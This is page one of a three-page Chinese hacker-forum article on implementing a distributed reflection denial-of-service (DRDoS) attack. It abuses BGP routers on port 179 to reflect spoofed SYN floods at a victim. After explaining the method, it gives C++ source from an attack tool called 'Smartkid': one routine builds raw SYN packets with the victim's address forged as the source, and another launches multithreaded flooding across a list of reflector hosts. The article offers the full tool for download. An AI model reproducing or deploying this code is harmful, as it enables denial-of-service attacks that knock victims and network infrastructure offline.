| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 黑客入侵 >> 正文 用户登录 新用户注册
编程实现DRDoS攻击         ★★★ 【字体:
编程实现DRDoS攻击
作者:不详 文章来源:华盟收集 点击数: 更新时间:2008-3-8

  DRDoS是英文“Distributed Reflection Denial of Servie Attack”的缩写,意思是“分布式反射拒绝服务攻击”。DRDoS方式靠的是发送带有被害者IP地址的SYN连接请求包发给攻击主机BGP。根据TCP三次握手的规则,这些计算机会向源IP(被害者)发出SYN+ACK包来响应这个请求,造成该主机忙于处理这些回应而被拒绝服务攻击

  当被害者被多个网络核心基础设施路由器攻击,所有的连接都是完全合法的SYN/ACK连接回应包,它们显示了一个TCP源端口:179。BGP是中介路由器支持的“边界网关协议”(Border Gateway Protocol)。路由器使用BGP与它们的邻居进行即时的信息交流来交换它们的路由表,这是为了通知它们彼此路由器可以在哪个IP范围内进行转交。BGP的细节并不重要, 每个良好连接的中介器都会接受它们179端口上的连接。也就是说,任何一个SYN数据包到达一个网络路由器上后,都会引出一个该路由的SYN/ACK回应包来,从而利用BGP的特性实现反射放大洪水攻击

  DRDoS与DDoS的不同之处就是不需要在实际攻击之前占领大量的傀儡机,发动DRDoS也只需花费攻击者很少的资源。这种攻击也是在伪造数据包源地址的情况下进行的,从这一点上来说,与Smurf攻击一样;而DRDoS是可以在广域网上进行的,其名称中的“R”意为反射,就是这种攻击行为最大的特点。

  代码实现

  为了实现DRDoS,我专门写了一个强大的综合利用工具Smartkid,实现了以下几个功能:多线程端口扫描、多线程DDoS攻击、多线程DRDoS攻击、ICMP洪水、SYN洪水、自动更新。这款工具已经开放了源代码,大家可以到www.dream2fly.net和www.xfocus.net下载,我随本文也提供了完整源代码。下面我主要根据代码来讲解一下DRDoS的实现原理,为了层次清楚,我删去了ICMP攻击部分,大家可以参看源代码。

  1)首先是初始化要发送的SYN数据报首部,这样攻击线程可以只需要修改少许参数,就能达到加快攻击速度的目的,具体实现代码如下所示。

void CDrdos::InitSynPacket()

  {     //填充IP首部

       memset((void *)&ipheader,0,sizeof(ipheader));

       ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); 

       ipheader.tos=0; 

       ipheader.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); 

       ipheader.ident=1; 

       ipheader.frag_and_flags=0x40;  

       ipheader.ttl=255;            //最大

       ipheader.proto=IPPROTO_TCP; 

       ipheader.checksum=0; 

       ipheader.sourceIP=inet_addr(m_target_ip);

       ipheader.destIP=inet_addr(m_target_ip);

       //填充TCP首部

       memset((void *)&tcpheader,0,sizeof(tcpheader));

       tcpheader.th_dport=htons(m_target_port); 

       tcpheader.th_sport=htons(m_target_port); 

       tcpheader.th_seq=htonl(rand()); 

       tcpheader.th_ack=0; 

       tcpheader.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); 

       tcpheader.th_flag=2;

       //syn 00000010,修改这里来实现不同的标志位探测,是SYN、是FIN,还是ACK探测

       tcpheader.th_win=htons(512); 

       tcpheader.th_urp=0; 

       tcpheader.th_sum=0; 

       //填充TCP伪首部,用来计算TCP头部的效验和

       memset((void *)&psdheader,0,sizeof(psdheader));

       psdheader.saddr=ipheader.sourceIP; 

       psdheader.daddr=ipheader.destIP; 

       psdheader.mbz=0; 

       psdheader.ptcl=IPPROTO_TCP; 

       psdheader.tcpl=htons(sizeof(TCP_HEADER));

  }

  2)在开始攻击函数start_drdos中启动一个drdosthread攻击线程:AfxBeginThread(drdosthread,NULL),实现UI层和业务层面的分离,从而提高UI反应速度。

void CDrdos::start_drdos(const vector<CString> &reflect_list)

{

m_listCounter=0;

m_ncounter=0;

m_pDlg=(CsmartkidDlg*)AfxGetApp()->GetMainWnd();

m_threadnum=m_pDlg->m_threadnum;

strcpy(m_target_ip,m_pDlg->m_targetip.GetBuffer());

m_target_port=m_pDlg->m_drdosport;

m_reflectlist=reflect_list;  //开始初始化数据包

InitSynPacket();

m_mainnum=m_reflectlist.size()/m_threadnum;

if(m_reflectlist.size()%m_threadnum > 0)

{

  m_mainnum++;

}

  m_pDlg->m_prog->SetRange(0,m_reflectlist.size());

m_pDlg->m_prog->SetStep(1);

AfxBeginThread(drdosthread,NULL);

}

[1] [2] [3] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    六大数据库攻击手段
    CC攻击的思路
    用注射技术攻击服务器
    CC攻击的思路
    六大数据库攻击手段
    Oracle的TNS listener攻击方法
    跨站入侵攻防战攻击篇
    俄媒:中国黑客用病毒攻击奥运敌人
    计算机安全 恶意攻击的防范招式
    如何攻击传奇私服?
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号